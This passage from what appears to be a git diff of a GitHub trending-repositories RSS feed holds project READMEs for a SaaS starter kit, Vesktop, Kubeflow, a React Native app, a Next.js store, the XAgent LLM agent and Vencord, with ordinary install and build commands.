<p>To make the process of installing dependencies easier, we offer a <code>docker-compose.yml</code> with a Postgres container.</p> <pre><code class="language-bash">docker-compose up -d </code></pre> <h4>6. Set up database schema</h4> <pre><code class="language-bash">npx prisma db push </code></pre> <h4>7. Start the server</h4> <p>In a development environment:</p> <pre><code class="language-bash">npm run dev </code></pre> <h4>8. Start the Prisma Studio</h4> <p>Prisma Studio is a visual editor for the data in your database.</p> <pre><code class="language-bash">npx prisma studio </code></pre> <h4>9. Testing</h4> <p>We are using <a href="https://playwright.dev/">Playwright</a> to execute E2E tests. Add all tests inside the <code>/tests</code> folder.</p> <p>Update <code>playwright.config.ts</code> to change the playwright configuration.</p> <h5>Install Playwright dependencies</h5> <pre><code class="language-bash">npm run playwright:update </code></pre> <h5>Run E2E tests</h5> <pre><code class="language-bash">npm run test:e2e </code></pre> <p><em>Note: HTML test report is generated inside the <code>report</code> folder. Currently supported browsers for test execution <code>chromium</code> and <code>firefox</code></em></p> <h4>Fully customizable boilerplate out of the box, see images below 👇👇👇</h4> <p><img src="https://raw.githubusercontent.com/boxyhq/saas-starter-kit/main/public/saas-starter-kit-poster.png" alt="saas-starter-kit-poster"></p> <h2>🥇 Features</h2> <ul> <li>Create account</li> <li>Sign in with Email and Password</li> <li>Sign in with Magic Link</li> <li>Sign in with SAML SSO</li> <li>Sign in with Google [<a href="https://support.google.com/cloud/answer/6158849?hl=en">Setting up Google OAuth</a>]</li> <li>Sign in with GitHub [<a href="https://docs.github.com/en/developers/apps/building-oauth-apps/creating-an-oauth-app">Creating a Github OAuth App</a>]</li> <li>Directory Sync (SCIM)</li> <li>Update account</li> <li>Create team</li> <li>Invite users to the team</li> <li>Manage team members</li> <li>Update team settings</li> <li>Webhooks &amp; Events</li> <li>Internationalization</li> <li>Audit logs</li> <li>Roles and Permissions</li> <li>Dark mode</li> </ul> <h2>➡️ Coming Soon</h2> <ul> <li>Billing &amp; subscriptions</li> <li>Unit and integration tests</li> </ul> <h2>✨ Contributing</h2> <p>Thanks for taking the time to contribute! Contributions make the open-source community a fantastic place to learn, inspire, and create. Any contributions you make are greatly appreciated.</p> <p>Please try to create bug reports that are:</p> <ul> <li><em>Reproducible.</em> Include steps to reproduce the problem.</li> <li><em>Specific.</em> Include as much detail as possible: which version, what environment, etc.</li> <li><em>Unique.</em> Do not duplicate existing opened issues.</li> <li><em>Scoped to a Single Bug.</em> One bug per report.</li> </ul> <p><a href="https://github.com/boxyhq/saas-starter-kit/raw/main/CONTRIBUTING.md">Contributing Guide</a></p> <h2>🤩 Community</h2> <ul> <li><a href="https://discord.gg/uyb7pYt4Pa">Discord</a> (For live discussion with the Open-Source Community and BoxyHQ team)</li> <li><a href="https://twitter.com/BoxyHQ">Twitter</a> / <a href="https://www.linkedin.com/company/boxyhq">LinkedIn</a> (Follow us)</li> <li><a href="https://www.youtube.com/@boxyhq">Youtube</a> (Watch community events and tutorials)</li> <li><a href="https://github.com/boxyhq/saas-starter-kit/issues">GitHub Issues</a> (Contributions, report issues, and product ideas)</li> </ul> <h2>🌍 Contributors</h2> <a href="https://github.com/boxyhq/saas-starter-kit/graphs/contributors"> <img src="https://contrib.rocks/image?repo=boxyhq/saas-starter-kit"> </a> <p>Made with <a href="https://contrib.rocks">contrib.rocks</a>.</p> <h2>🛡️ License</h2> <p><a href="https://github.com/boxyhq/saas-starter-kit/raw/main/LICENSE">Apache 2.0 License</a></p> + Vencord/Vesktop + 2023-10-30T01:37:29Z + tag:github.com,2023-10-30:/Vencord/Vesktop + + <p>Vesktop gives you the performance of web Discord and the comfort of Discord Desktop</p><hr><h1>Vesktop</h1> <p>Vesktop is a cross platform desktop app aiming to give you a snappier Discord experience with <a href="https://github.com/Vendicated/Vencord">Vencord</a> pre-installed</p> <p><strong>Not yet supported</strong>:</p> <ul> <li>Global Keybinds</li> </ul> <p>Bug reports, feature requests &amp; contributions are highly appreciated!!</p> <p><img src="https://user-images.githubusercontent.com/45497981/235024615-94565eaf-f412-4384-a3f5-d8cde7458f6d.png" alt="image"></p> <h2>Installing</h2> <h3>Windows</h3> <p>Download and run Vesktop-Setup-VERSION.exe from <a href="https://github.com/Vencord/Vesktop/releases/latest">releases</a></p> <h3>Mac</h3> <p>Download and run Vesktop-VERSION.dmg from <a href="https://github.com/Vencord/Vesktop/releases/latest">releases</a></p> <h3>Linux</h3> <h4>Arch based</h4> <p>Install <a href="https://aur.archlinux.org/packages/vencord-desktop-git">vencord-desktop-git</a> from the AUR using your favourite AUR helper, for example <a href="https://github.com/Jguer/yay">yay</a></p> <h4>Ubuntu/Debian based</h4> <p>Download Vesktop-VERSION.deb from <a href="https://github.com/Vencord/Vesktop/releases/latest">releases</a></p> <h4>Fedora/RHEL based</h4> <p>Download Vesktop-VERSION.rpm from <a href="https://github.com/Vencord/Vesktop/releases/latest">releases</a></p> <h4>Other</h4> <p>Either download Vesktop-VERSION.AppImage and just run it directly or grab Vesktop-VERSION.tar.gz, extract it somewhere and run <code>vencorddesktop</code>.</p> <p>A flatpak is planned, if you want packages for other repos, feel free to create them and they can be linked as unofficial here</p> <h2>Building</h2> <p>Packaging will create builds in the dist/ folder. You can then install them like mentioned above or distribute them</p> <pre><code class="language-sh">git clone https://github.com/Vencord/Vesktop cd Vesktop # Install Dependencies pnpm i # Either run it without packaging pnpm start # Or package pnpm package # Or only build the pacman target pnpm package --linux pacman # Or package to a directory only pnpm package:dir </code></pre> <h2>Motivation</h2> <p>The official Discord Desktop app is very resource heavy compared to Discord in your Browser. There are multiple alternative Electron apps (ArmCord, WebCord, probably more) that prove how much of a performance gain you can gain by using a custom app. ArmCord already supports Vencord but makes it pretty limited for us. Making our own standalone app gives us much more control.</p> <p>This is just a random idea I (V) got, and might not actually ever be finished heh</p> <p>Gluon also seems very attractive for this because of how lightweight it can be and because unlike electron, streaming just works out of the box like in any chromium browser. However, at the time of writing this, it still lacks some features necessary to make it work (synchronous ipc or a way to get node process variables into the onLoad function for instance, plus onLoad seems to load a little too late sometimes)</p> - kubeflow/kubeflow - 2023-10-29T01:44:36Z - tag:github.com,2023-10-29:/kubeflow/kubeflow - - <p>Machine Learning Toolkit for Kubernetes</p><hr><img src="https://www.kubeflow.org/images/logo.svg?sanitize=true" width="100"> Kubeflow the cloud-native platform for machine learning operations - pipelines, training and deployment. <hr> <h2>Documentation</h2> <p>Please refer to the official docs at <a href="http://kubeflow.org">kubeflow.org</a>.</p> <h2>Working Groups</h2> <p>The Kubeflow community is organized into working groups (WGs) with associated repositories, that focus on specific pieces of the ML platform.</p> <ul> <li><a href="https://github.com/kubeflow/community/tree/master/wg-automl">AutoML</a></li> <li><a href="https://github.com/kubeflow/community/tree/master/wg-deployment">Deployment</a></li> <li><a href="https://github.com/kubeflow/community/tree/master/wg-manifests">Manifests</a></li> <li><a href="https://github.com/kubeflow/community/tree/master/wg-notebooks">Notebooks</a></li> <li><a href="https://github.com/kubeflow/community/tree/master/wg-pipelines">Pipelines</a></li> <li><a href="https://github.com/kubeflow/community/tree/master/wg-serving">Serving</a></li> <li><a href="https://github.com/kubeflow/community/tree/master/wg-training">Training</a></li> </ul> <h2>Quick Links</h2> <ul> <li><a href="https://k8s-gubernator.appspot.com/pr">PR Dashboard</a></li> </ul> <h2>Get Involved</h2> <p>Please refer to the <a href="https://www.kubeflow.org/docs/about/community/">Community</a> page.</p> + darshanpawar101/Coffee-Shop-App + 2023-10-30T01:37:29Z + tag:github.com,2023-10-30:/darshanpawar101/Coffee-Shop-App + + <p></p><hr><p>This is a new <a href="https://reactnative.dev"><strong>React Native</strong></a> project, bootstrapped using <a href="https://github.com/react-native-community/cli"><code>@react-native-community/cli</code></a>.</p> <h1>Getting Started</h1> <blockquote> <p><strong>Note</strong>: Make sure you have completed the <a href="https://reactnative.dev/docs/environment-setup">React Native - Environment Setup</a> instructions till "Creating a new application" step, before proceeding.</p> </blockquote> <h2>Step 1: Start the Metro Server</h2> <p>First, you will need to start <strong>Metro</strong>, the JavaScript <em>bundler</em> that ships <em>with</em> React Native.</p> <p>To start Metro, run the following command from the <em>root</em> of your React Native project:</p> <pre><code class="language-bash"># using npm npm start # OR using Yarn yarn start </code></pre> <h2>Step 2: Start your Application</h2> <p>Let Metro Bundler run in its <em>own</em> terminal. Open a <em>new</em> terminal from the <em>root</em> of your React Native project. Run the following command to start your <em>Android</em> or <em>iOS</em> app:</p> <h3>For Android</h3> <pre><code class="language-bash"># using npm npm run android # OR using Yarn yarn android </code></pre> <h3>For iOS</h3> <pre><code class="language-bash"># using npm npm run ios # OR using Yarn yarn ios </code></pre> <p>If everything is set up <em>correctly</em>, you should see your new app running in your <em>Android Emulator</em> or <em>iOS Simulator</em> shortly provided you have set up your emulator/simulator correctly.</p> <p>This is one way to run your app — you can also run it directly from within Android Studio and Xcode respectively.</p> <h2>Step 3: Modifying your App</h2> <p>Now that you have successfully run the app, let's modify it.</p> <ol> <li> <p>Open <code>App.tsx</code> in your text editor of choice and edit some lines.</p> </li> <li> <p>For <strong>Android</strong>: Press the <kbd>R</kbd> key twice or select <strong>"Reload"</strong> from the <strong>Developer Menu</strong> (<kbd>Ctrl</kbd> + <kbd>M</kbd> (on Window and Linux) or <kbd>Cmd ⌘</kbd> + <kbd>M</kbd> (on macOS)) to see your changes!</p> <p>For <strong>iOS</strong>: Hit <kbd>Cmd ⌘</kbd> + <kbd>R</kbd> in your iOS Simulator to reload the app and see your changes!</p> </li> </ol> <h2>Congratulations! <span>🎉</span></h2> <p>You've successfully run and modified your React Native App. <span>🥳</span></p> <h3>Now what?</h3> <ul> <li>If you want to add this new React Native code to an existing application, check out the <a href="https://reactnative.dev/docs/integration-with-existing-apps">Integration guide</a>.</li> <li>If you're curious to learn more about React Native, check out the <a href="https://reactnative.dev/docs/getting-started">Introduction to React Native</a>.</li> </ul> <h1>Troubleshooting</h1> <p>If you can't get this to work, see the <a href="https://reactnative.dev/docs/troubleshooting">Troubleshooting</a> page.</p> <h1>Learn More</h1> <p>To learn more about React Native, take a look at the following resources:</p> <ul> <li><a href="https://reactnative.dev">React Native Website</a> - learn more about React Native.</li> <li><a href="https://reactnative.dev/docs/environment-setup">Getting Started</a> - an <strong>overview</strong> of React Native and how setup your environment.</li> <li><a href="https://reactnative.dev/docs/getting-started">Learn the Basics</a> - a <strong>guided tour</strong> of the React Native <strong>basics</strong>.</li> <li><a href="https://reactnative.dev/blog">Blog</a> - read the latest official React Native <strong>Blog</strong> posts.</li> <li><a href="https://github.com/facebook/react-native"><code>@facebook/react-native</code></a> - the Open Source; GitHub <strong>repository</strong> for React Native.</li> </ul> \ No newline at end of file diff --git a/typescript/weekly/index.xml b/typescript/weekly/index.xml deleted file mode 100644 index a46d589bddf..00000000000 --- a/typescript/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub TypeScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:02Z - Weekly Trending of TypeScript in GitHub - - - felipemotarocha/fullstackweek-store - 2023-10-29T02:04:02Z - tag:github.com,2023-10-29:/felipemotarocha/fullstackweek-store - - <p></p><hr><h1>Projeto Full Stack Week 2.0 💻</h1> <p>Este é o repositório oficial do e-commerce desenvolvido durante a Full Stack Week, um evento diferente de tudo que você já viu, com 4 lives de muito conteúdo. Nosso objetivo principal é criar um projeto altamente relevante, utilizando as tecnologias mais modernas e demandadas pelo mercado, a fim de adicionar autoridade ao currículo de desenvolvedor.</p> <h2>Tecnologias Utilizadas 🚀</h2> <ul> <li> <p><strong>React</strong>: Uma biblioteca JavaScript popular para construir interfaces de usuário interativas.</p> </li> <li> <p><strong>Next.js 13</strong>: Um framework React que oferece renderização do lado do servidor (SSR), geração estática (SSG), entre muitos outros recursos.</p> </li> <li> <p><strong>Next Auth</strong>: Biblioteca para autenticação de usuários com OAuth.</p> </li> <li> <p><strong>Postgres</strong>: Um sistema de gerenciamento de banco de dados relacional.</p> </li> <li> <p><strong>Prisma</strong>: Um ORM (Object-Relational Mapping) para Node.js e TypeScript.</p> </li> <li> <p><strong>shadcn/ui</strong>: Uma biblioteca de componentes de IU reutilizáveis e estilizáveis.</p> </li> <li> <p><strong>Tailwind CSS</strong>: Um framework CSS que oferece várias classes para utilização já pré-estilizadas.</p> </li> <li> <p><strong>API do Stripe</strong>: Uma API de pagamento popular para processar pagamentos online de forma segura.</p> </li> </ul> <h2>Funcionalidades 📦</h2> <ul> <li> <p><strong>Login com o Google</strong>: Permitimos que os usuários façam login usando suas contas do Google para uma experiência de autenticação simplificada.</p> </li> <li> <p><strong>Navegação por Categorias</strong>: Os usuários podem explorar produtos por categorias, facilitando a busca e a compra.</p> </li> <li> <p><strong>Descontos em Produtos</strong>: Alguns produtos podem ter descontos especiais, permitindo aos usuários economizar em suas compras.</p> </li> <li> <p><strong>Gerenciamento do Carrinho de Compras</strong>: Os usuários podem adicionar produtos ao seu carrinho de compras, remover produtos e também modificar a quantidade de um produto no carrinho de compras conforme necessário.</p> </li> <li> <p><strong>Pagamento do Pedido com a API do Stripe</strong>: Oferecemos uma experiência segura de pagamento online com a integração da API do Stripe, incluindo o uso de webhooks para processar eventos relacionados ao pagamento. Os usuários podem concluir seus pedidos com facilidade e segurança.</p> </li> </ul> <h2>Protótipo no Figma 🎨</h2> <p>Você pode visualizar o protótipo do nosso projeto no Figma. Ele oferece uma prévia visual de como a interface do usuário é projetada e como as diferentes funcionalidades são organizadas. Confira o protótipo <a href="https://www.figma.com/file/Y8jmabSZXxAobeUJQdI4bm/FSW-Store-%5BLive%5D?type=design&amp;mode=design&amp;t=JoIB87O9jkqADxpN-1">aqui</a>.</p> <p>Fique à vontade para explorar e compartilhar suas opiniões sobre o design do projeto!</p> <h2>Contribuições e Colaborações 🤝</h2> <p>Este projeto está totalmente aberto a contribuições. Se você deseja colaborar, fique à vontade para criar pull requests, corrigir bugs, adicionar novos recursos ou aprimorar a documentação. Sua contribuição é valiosa e ajuda a melhorar ainda mais este projeto!</p> <h3>Como Contribuir</h3> <ol> <li> <p>Faça um fork deste repositório.</p> </li> <li> <p>Crie uma branch para sua contribuição:</p> </li> </ol> <pre><code class="language-bash"> git checkout -b minha-contribuicao </code></pre> <ol start="3"> <li> <p>Faça suas alterações e adicione commits descritivos (seguindo o Conventional Commits, preferencialmente).</p> </li> <li> <p>Crie um pull request para a branch <code>main</code> deste repositório.</p> </li> </ol> - - - OpenBMB/XAgent - 2023-10-29T02:04:02Z - tag:github.com,2023-10-29:/OpenBMB/XAgent - - <p>An Autonomous LLM Agent for Complex Task Solving</p><hr><div align="center"> <h1> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/xagent_logo.png" height="40" align="texttop">XAgent</h1> </div> <div align="center"> <p><a href="https://twitter.com/XAgentTeam"><img src="https://img.shields.io/twitter/follow/XAgent?style=social" alt="Twitter"></a> <a href="https://discord.gg/zncs5aQkWZ"><img src="https://img.shields.io/badge/XAgent-Discord-purple?style=flat" alt="Discord"></a> <a href="https://opensource.org/license/apache-2-0/"><img src="https://img.shields.io/badge/License-Apache_2.0-green.svg?sanitize=true" alt="License: Apache 2.0"></a> <img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat" alt="Welcome"></p> </div> <p align="center"> <a>English</a> • <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/README_ZH.md">中文</a> </p> <p align="center"> <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/#Quickstart">Tutorial</a> • <a href="https://www.youtube.com/watch?v=QGkpd-tsFPA">Demo</a> • <a href="https://blog.x-agent.net/blog/xagent/">Blog</a> • <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/#Citation">Citation</a> </p> <h1>📖 Introduction</h1> <p>XAgent is an open-source experimental Large Language Model (LLM) driven autonomous agent that can automatically solve various tasks. It is designed to be a general-purpose agent that can be applied to a wide range of tasks. XAgent is still in its early stages, and we are working hard to improve it.</p> <p>🏆 Our goal is to create a super-intelligent agent that can solve any given task!</p> <p>We welcome diverse forms of collaborations, including full-time and part-time roles and more. If you are interested in the frontiers of agents and want to join us in realizing true autonomous agents, please contact us at <a href="mailto:xagentteam@gmail.com">xagentteam@gmail.com</a>.</p> <div align="center"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/overview.png" alt="Overview of Xagent" width="700"> <br> <figcaption> Overview of XAgent. </figcaption> </div> <h2><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/xagent_logo.png" height="30" align="texttop"> XAgent</h2> <p>XAgent is designed with the following features:</p> <ul> <li><strong>Autonomy</strong>: XAgent can automatically solve various tasks without human participation.</li> <li><strong>Safety</strong>: XAgent is designed to run safely. All actions are constrained inside a docker container. Run it anyway!</li> <li><strong>Extensibility</strong>: XAgent is designed to be extensible. You can easily add new tools to enhance agent's abilities and even new agents!</li> <li><strong>GUI</strong>: XAgent provides a friendly GUI for users to interact with the agent. You can also use the command line interface to interact with the agent.</li> <li><strong>Cooperation with Human</strong>: XAgent can collaborate with you to tackle tasks. It not only has the capability to follow your guidance in solving complex tasks on the go but it can also seek your assistance when it encounters challenges.</li> </ul> <p>XAgent is composed of three parts:</p> <ul> <li><strong>🤖 Dispatcher</strong> is responsible for dynamically instantiating and dispatching tasks to different agents. It allows us to add new agents and improve the agents' abilities.</li> <li><strong>🧐 Planner</strong> is responsible for generating and rectifying plans for tasks. It divides tasks into subtasks and generates milestones for them, allowing agents to solve tasks step by step.</li> <li><strong>🦾 Actor</strong> is responsible for conducting actions to achieve goals and finish subtasks. The actor utilizes various tools to solve subtasks, and it can also collaborate with humans to solve tasks.</li> </ul> <div align="center"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/loop.png" alt="Planner loop" width="700"> <br> <figcaption> The inner loop and outer loop mechanism of XAgent. </figcaption> </div> <h2>🧰 ToolServer</h2> <p>ToolServer is the server that provides XAgent with powerful and safe tools to solve tasks. It is a docker container that provides a safe environment for XAgent to run. Currently, ToolServer provides the following tools:</p> <ul> <li><strong>📝 File Editor</strong> provides a text editing tool to write, read, and modify files.</li> <li><strong>📘 Python Notebook</strong> provides an interactive Python notebook that can run Python code to validate ideas, draw figures, etc.</li> <li><strong>🌏 Web Browser</strong> provides a web browser to search and visit webpages.</li> <li><strong>🖥️ Shell</strong> provides a bash shell tool that can execute any shell commands, even install programs and host services.</li> <li><strong>🧩 Rapid API</strong> provides a tool to retrieve APIs from Rapid API and call them, which offers a wide range of APIs for XAgent to use. See <a href="https://github.com/OpenBMB/ToolBench">ToolBench</a> to get more information about the Rapid API collections. You can also easily add new tools to ToolServer to enhance XAgent's abilities.</li> </ul> <div> <a id="Quickstart"></a> </div> <h1>✨ Quickstart</h1> <h2>🛠️ Build and Setup ToolServer</h2> <p>ToolServer is where XAgent's action takes place. It is a docker container that provides a safe environment for XAgent to run. So you should install <code>docker</code> and <code>docker-compose</code> first. After that, you should build the docker image for ToolServer and start the docker container.</p> <pre><code class="language-bash">docker compose up </code></pre> <p>Refer <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/ToolServer/README.md">here</a> for detailed information about our ToolServer.</p> <p>If the ToolServer is updated, you have to rebuild the images:</p> <pre><code class="language-bash">docker compose build </code></pre> <h2>🎮 Setup and Run XAgent</h2> <p>After setting up ToolServer, you can start to run XAgent.</p> <ul> <li>Install requirements (Require Python &gt;= 3.10)</li> </ul> <pre><code class="language-bash">pip install -r requirements.txt </code></pre> <ul> <li>Configure XAgent</li> </ul> <ol> <li>You should configure XAgent in <code>assets/config.yml</code> before running it.</li> <li>At least one OpenAI key is provided in <code>assets/config.yml</code>, which is used to access OpenAI API. We highly recommend using <code>gpt-4-32k</code> to run XAgent; <code>gpt-4</code> is also OK for most simple tasks. In any case, at least one <code>gpt-3.5-turbo-16k</code> API key should be provided as a backup model. We do not test or recommend using <code>gpt-3.5-turbo</code> to run XAgent due to minimal context length; you should not try to run XAgent on that.</li> <li>If you want to change the config_file path for <code>XAgentServer</code>, you should modify the <code>CONFIG_FILE</code> value in <code>.env</code> file and restart the docker container.</li> </ol> <ul> <li>Run XAgent</li> </ul> <pre><code class="language-bash">python run.py --task "put your task here" --model "gpt-4" --config_file "assets/config.yml" </code></pre> <ol> <li> <p>You can use the argument <code>--upload_files</code> to select the initial files you want to submit to XAgent.</p> </li> <li> <p>The local workspace for your XAgent is in <code>local_workspace</code>, where you can find all the files generated by XAgent throughout the running process.</p> </li> <li> <p>After execution, the entire <code>workspace</code> in <code>ToolServerNode</code> will be copied to <code>running_records</code> for your convenience.</p> </li> <li> <p>Besides, in <code>running_records</code>, you can find all the intermediate steps information, e.g., task statuses, LLM's input-output pairs, used tools, etc.</p> </li> <li> <p>You can load from a record to reproduce a former run, just by setting <code>record_dir</code> in config(default to <code>Null</code>). The record is a system-level recording tied to the code version of XAgent. All running-config、query、code execution statuses (including errors)、server behavior will be documented.</p> </li> <li> <p>We have removed all sensitive information (including API keys) from the record so you can safely share it with others. In the near future, we will introduce more granular sharing options highlighting the contributions of humans during execution.</p> </li> </ol> <ul> <li>Run XAgent with GUI</li> </ul> <pre><code class="language-bash"># We ran the web ui docker when building the ToolServer network # run nginx in docker docker exec XAgent-Server systemctl start nginx </code></pre> <p>Build the docker image for XAgent-Server and start the docker container. You will see the XAgent Server listening on port <code>8090</code>. You could visit <code>http://localhost:5173</code> to interact with XAgent by using web UI. Refer <a href="https://raw.githubusercontent.com/OpenBMB/XAgent/main/XAgentServer/README.md">here</a> for the detailed information about our GUI Demo.</p> <div> <a id="Demo"></a> </div> <h1>🎬 Demo</h1> <p>Here, we also show some cases of solving tasks by XAgent: You can check our live demo on <a href="https://www.x-agent.net/">XAgent Official Website</a>. We also provide a video demo and showcases of using XAgent here: <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/demo.gif" alt="Demo"></p> <h2>Case 1. Data Analysis: Demonstrating the Effectiveness of Dual-Loop Mechanism</h2> <p>We start with a case of aiding users in intricate data analysis. Here, our user submitted an <code>iris.zip</code> file to XAgent, seeking assistance in data analysis. XAgent swiftly broke down the task into four sub-tasks: (1) data inspection and comprehension, (2) verification of the system's Python environment for relevant data analysis libraries, (3) crafting data analysis code for data processing and analysis, and (4) compiling an analytical report based on the Python code's execution results. Here is a figure drawn by XAgent. <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/statistics.png" alt="Data Statics by XAgent"></p> <h2>Case 2. Recommendation: A New Paradigm of Human-Agent Interaction</h2> <p>Empowered with the unique capability to actively seek human assistance and collaborate in problem-solving, XAgent continues to redefine the boundaries of human-agent cooperation. As depicted in the screenshot below, a user sought XAgent's aid in recommending some great restaurants for a friendly gathering yet failed to provide specific details. Recognizing the insufficiency of the provided information, XAgent employed the AskForHumanHelp tool, prompting human intervention to elicit the user's preferred location, budget constraints, culinary preferences, and dietary restrictions. Armed with this valuable feedback, XAgent seamlessly generated tailored restaurant recommendations, ensuring a personalized and satisfying experience for the user and their friends.</p> <p><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/ask_for_human_help.png" alt="Illustration of Ask for Human Help of XAgent"></p> <h2>Case 3. Training Model: A Sophisticated Tool User</h2> <p>XAgent not only tackles mundane tasks but also serves as an invaluable aid in complex tasks such as model training. Here, we show a scenario where a user desires to analyze movie reviews and evaluate the public sentiment surrounding particular films. In response, XAgent promptly initiates the process by downloading the IMDB dataset to train a cutting-edge BERT model (see screenshot below), harnessing the power of deep learning. Armed with this trained BERT model, XAgent seamlessly navigates the intricate nuances of movie reviews, offering insightful predictions regarding the public's perception of various films.</p> <p><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/bert_1.png" alt="bert_1"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/bert_2.png" alt="bert_2"> <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/bert_3.png" alt="bert_3"></p> <h2>📊 Evaluation</h2> <p>We conduct human preference evaluation to evaluate XAgent's performance. We prepare over 50 real-world complex tasks for assessment, which can be categorized into 5 classes: Search and Report, Coding and Developing, Data Analysis, Math, and Life Assistant. We compare the results of XAgent with <a href="https://github.com/Significant-Gravitas/AutoGPT">AutoGPT</a>, which shows a total win of XAgent over AutoGPT. All running records will be released soon.</p> <p><img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/agent_comparison.png" alt="HumanPrefer"></p> <p>We report a significant improvement of XAgent over AutoGPT in terms of human preference.</p> <p>We also evaluate XAgent on the following benchmarks: <img src="https://raw.githubusercontent.com/OpenBMB/XAgent/main/assets/readme/eval_on_dataset.png" alt="Benchmarks"></p> <div> <a id="Blog"></a> </div> <h1>🖌️ Blog</h1> <p>Our blog is available at <a href="https://blog.x-agent.net/">here</a>!</p> <div> <a id="Citation"></a> </div> <h1>🌟 Star History</h1> <p><a href="https://star-history.com/#openbmb/xagent&amp;Date"><img src="https://api.star-history.com/svg?repos=openbmb/xagent&amp;type=Date" alt="Star History Chart"></a></p> <h1>Citation</h1> <p>If you find our repo useful, please kindly consider citing:</p> <pre><code class="language-angular2">@misc{xagent2023, title={XAgent: An Autonomous Agent for Complex Task Solving}, author={XAgent Team}, year={2023}, } </code></pre> - - - Vendicated/Vencord - 2023-10-29T02:04:02Z - tag:github.com,2023-10-29:/Vendicated/Vencord - - <p>The cutest Discord client mod</p><hr><h1>Vencord</h1> <p><a href="https://codeberg.org/Ven/cord"><img src="https://img.shields.io/static/v1?style=for-the-badge&amp;label=Codeberg%20Mirror&amp;message=codeberg.org/Ven/cord&amp;color=2185D0&amp;logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABmJLR0QA/wD/AP+gvaeTAAAKbUlEQVR4nNVae3AV5RX/nW/3Pva+b24e5HHzIICQKGoiYiW8NFBFgohaa6ctglpbFSujSGurzUinohWsOij/gGX6R2fqOK0d1FYTEZXaTrWCBbEikJCEyCvkeXNvkrunf+zdkJDkPnex/c3cmd29+53v/M6e73znnF2Cydj4Tntldzi6qrN/qKqzf2jy6b7BnL4B1dI7oMp9AyoRAIdVsNMqhlxWMZjtspzyK/Jhr036OMsm//bh2vzPzNSPzBD6xFutd7R0Dq758ky4orkjYuc05RCAkixbeEq2/UCJ1/LczxcX/c5IPfU5DMHmxpbCpu7o1k/b+xc1n43YjJI7EqV+W2RmvuPt0oDjB2vn5bQbITNjAzzdeKK8qTO0bU9T77zucNQUjzofHrvENWWu3aUBZfW6+ZOOZiIrbYXrmUXo9daX3v6i667O/iGRiRLpwqtIvKDc+0efJ3hb/UIaSkdGWgZ4sqGt9r2m3lc/P9HvSWe80ZiRp3TPL/UsX1+bvyvVsSkb4NE3WjbuPNj5SM8Fcvdk4bAKrqvwv7DxhuCPUxmXNIn6XSy3nWr6R8OhrqrU1btwqJ3m/bgwu/SqZJdEUgbYsuuka09b9/4Pm3tLMlPvwuAbpe6m+RcplfdcURBKdG9CA2zZddLV2Nx1+JO2vlxj1LswqCpynlxc6SxLZIS40bueWfy9vXvv/xt5APhXa1/u7v+EPqvfxXK8++IaoO2Vpn9+cLS33FjVLhw+bOotOX7q6N/i3TOhAX7y+rHN/+sBLxm8fah71k93tjw/0f/jGuDJxtZrdh7setA8tS4sdn7eef+v3mmfP95/Ywxw6x9Yev9I35/6Iubv83WVfl5a6Uu3VkoavZEo7TnS/Vo98xi+Yy6UKC3bDp7sd5ut1OWFDjyzNMib6oq5Oug0ezp8dqLfG3r92Nbzr48ywNONJ8obDnV/z2xlAk4ZW1aUqhaJIAvCb5YVqwFn3GBtCBoO9dz5TOPxUbnMKAM0dYa2d5lc2AgCNi8r5klui3aBgWynjE11QZbI3FV3NjQkjnYNbB+lj36wubGlcE9T71xTNQDw0Px8nlvmHl73GmfCrKCL19Tkmh4P9jT1LHz2vVP5+vmwAZq71a1m1/PXTPXwD68eS5KIEVUZd1yZwwumeEw1Qld/lJrPhF7Sz4cNsO+rUK2ZExd6rfj10iCPZ2GJCCoAZuCJxQUc9FvNVAX72kPX6ccC0Hp4zR0Ru1kT2mTCSzeXqn5l/EAniMAqoDLDYZWwqa5EVSzmhaKmsxHbLxvbbgdiBmjpHFxj2mwANlxXxBdPUib8nwgQgqAyEFUZxT4L1i/MN3UpHDsTWQvEDHDoTLjCrIluuyzAt8zMSkhGFhp5hrYUFk3z8IqZftOMcKRj4GIAEM80tFccM8n9Z+Qq+MXigqRIWCQCMzQvYIbKwH1X53FFnjkr88iZsLKpoXWa6BiIrjbDzF67hK23lKp2Obm1LAstPEZVjTwDkAio/2ZQ9dolw/VjAB0DfKfoCg9WGy2cADy1NMhBX2rR3CIRGICq8rAhAg4Jj9UWsDBhg+4MR6vF2VC0zGjB99fk8eJp3pQdyyrRMHF9KURVxswCB6+alWO4o3b2RyeLU32D2UYKnVPm5gfm5qWlrF0Wo4hzbCmoDNw0089XlboNNcLpvsFc0RtRDXuNle+x4Lkbi9PO6WWJIBFGEY+qjGjswtq5eVzosRilLnoiUavoH1INiTCyIDy/vETNcmRW1dl0L4gRVxmx3YFhlwnrry1QrZIxASE0yJIIDaiGSHt8UQFXF2Ve1zusYgzxkXGhyGvFvePUE+mgfyAqhGqAqKWVPv5udbYhSjmtkpYWq6OJqzFjqCpjTpmbl1Rk3klSGRBWmTISNC3Hjo1LgoYFJ0GA1aIVR+cTVxlQoS2Pb18a4PLszMKXzSJYuCySmq4Al03CiytKVYfBhYvLKk1IXE+XLRLhwZp81WlNf26HTFHhd0jhdAYTgKduCPLkgPHfQjitYkLiAIEZBDBlu2R6aF7euCV2Mgg45bDw2qWOdAavnp3D109PPdlJBvpTnYg4kVY3MDMuylVw62WJi63x4LHLZ0TAIR9OdWBVodPUclUQwWmT4